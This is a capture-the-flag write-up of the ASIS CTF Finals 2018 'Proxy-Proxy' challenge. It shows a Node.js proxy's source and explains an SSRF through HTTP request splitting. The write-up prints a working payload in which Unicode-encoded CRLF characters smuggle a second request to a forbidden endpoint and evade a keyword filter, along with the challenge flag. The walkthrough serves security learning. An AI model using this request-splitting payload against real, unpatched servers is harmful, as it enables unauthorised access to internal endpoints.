NodeJS SSRF by Response Splitting — ASIS CTF Finals 2018 — Proxy-Proxy Question Walkthrough
Hi everybody, this story is about the question named “Proxy-Proxy” given to participants in ASIS CTF Finals 2018. The question began with the page like that:

Following endpoints were available:
- /proxy/internal_website/public_notes
- /proxy/internal_website/public_links
- /flag
Obviously, the first two ones weren’t useful, the last had message: forbidden
Putting a random word and the end of the URL, revealed (/proxy/internal_website/blah):
Undefined endpoint, available endpoints are: ["public_notes","public_links","source_code"]
Source code discovered:
const express = require('express');
const fs = require('fs');
const path = require('path');
const body_parser = require('body-parser');
const md5 = require('md5');
const http = require('http');
var ip = require("ip");
require('x-date');
var server_ip = ip.address() const server = express();
server.use(body_parser.urlencoded({
extended: true
}));
server.use(express.static('public')) server.set('views', path.join(__dirname, 'views'));
server.set('view engine', 'jade');
server.listen(5000) server.get('/', function(request, result) {
result.render('index');
result.end()
})
function check_endpoint(available_endpoints, endpoint) {
for (i of available_endpoints) {
if (endpoint.indexOf(i) == 0) {
return true;
}
}
return false;
}
fs.readFile('flag.dat', 'utf8', function(err, contents) {
if (err) {
throw err;
}
flag = contents;
}) server.get('/proxy/internal_website/:page', function(request, result) {
var available_endpoints = ['public_notes', 'public_links', 'source_code']
var page = request.params.page result.setHeader('X-Node-js-Version', 'v8.12.0') result.setHeader('X-Express-Version', 'v4.16.3') if (page.toLowerCase().includes('flag')) {
result.sendStatus(403) result.end()
} else if (!check_endpoint(available_endpoints, page)) {
result.render('available_endpoints', {
endpoints: JSON.stringify(available_endpoints)
}) result.end()
} else {
http.get('http://127.0.0.1:5000/' + page, function(res) {
res.setEncoding('utf8');
if (res.statusCode == 200) {
res.on('data', function(chunk) {
result.render('proxy', {
contents: chunk
}) result.end()
});
} else if (res.statusCode == 404) {
result.render('proxy', {
contents: 'The resource not found.'
}) result.end()
} else {
result.end()
}
}).on('error', function(e) {
console.log("Got error: " + e.message);
});
}
}) server.use(function(request, result, next) {
ip = request.connection.remoteAddress
if (ip.substr(0, 7) == "::ffff:") {
ip = ip.substr(7)
}
if (ip != '127.0.0.1' && ip != server_ip) {
result.render('unauthorized') result.end()
} else {
next()
}
}) server.get('/public_notes', function(request, result) {
result.render('public_notes');
result.end()
}) server.get('/public_links', function(request, result) {
result.render('public_links');
result.end()
}) server.get('/source_code', function(request, result) {
fs.readFile('server.js', 'utf8', function(err, contents) {
if (err) {
throw err;
}
result.render('source_code', {
source: contents
}) result.end()
})
}) server.get('/flag/:token', function(request, result) {
var token = request.params.token
if (token.length > 10) {
console.log(ip) fs.writeFile('public/temp/' + md5(ip + token), flag, (err) => {
if (err) throw err;
result.end();
});
}
}) server.get('/', function(request, result) {
result.render('index');
result.end()
}) server.get('*', function(req, result) {
result.sendStatus(404);
result.end()
});
Analysis:
- The only path can be executed from the outside was /proxy/internal_website/:page
- Only 3 endpoints were callable through the proxy.
var available_endpoints = ['public_notes', 'public_links', 'source_code']
3. Based on the code, only the beginning of the variable was checked for the available endpoints.
if (endpoint.indexOf(i) == 0) {
4. The page
variable cannot have the word flag
and considering the code, it couldn’t be bypassed:
page.toLowerCase().includes('flag')
5. The endpoint /flag/:token saves the file containing the flag.
6. Based on the code, none of the endpoints were callable directly.
if (ip != '127.0.0.1' && ip != server_ip) {
result.render('unauthorized') result.end()
} else {
next()
}
I had to send an HTTP request to the endpoint/flag/:token
by the proxy. However, it wasn’t in the available endpoints and the word flag
was forbidden. It seemed impossible in a glance, the version of the NodeJS was vulnerable to the SSRF, though. The hint inside the code:
result.setHeader('X-Node-js-Version', 'v8.12.0') result.setHeader('X-Express-Version', 'v4.16.3')
The vulnerable code:
http.get('http://127.0.0.1:5000/' + page, function(res) {
The article about the flaw (Read it carefully, I omitted the description of the vulnerability):
https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/
Consequently, following payload led to send two separate HTTP requests, first to the /public_notes
endpoint, and the second to the /flag/irgeeksssrf
which resulted in saving the flag
within the name md5(127.0.0.1irgeesssrf
in the /temp/
folder:
public_notes\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}127.0.0.1\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/\u{0166}\u{016c}\u{0161}\u{0167}/irgeeksirgeeks
The final URL:
/proxy/internal_website/public_notes%C4%A0HTTP%2F1.1%C4%8D%C4%8AHost%3A%C4%A0127.0.0.1%C4%8D%C4%8A%C4%8D%C4%8AGET%C4%A0%2F%C5%A6%C5%AC%C5%A1%C5%A7%2Firgeeksirgeeks
Note: The endpoint was public_notes
and as mentioned in the analysis, we could extend the endpoint since only the beginning of the endpoint was checked.
Note: the following Unicode translated to the flag
and bypassed the condition .includes('flag')
:
\u{0166}\u{016c}\u{0161}\u{0167}
666c6167 = flag
The flag was ASIS{d6a5bbd1b943353de7e49b544056ce84}.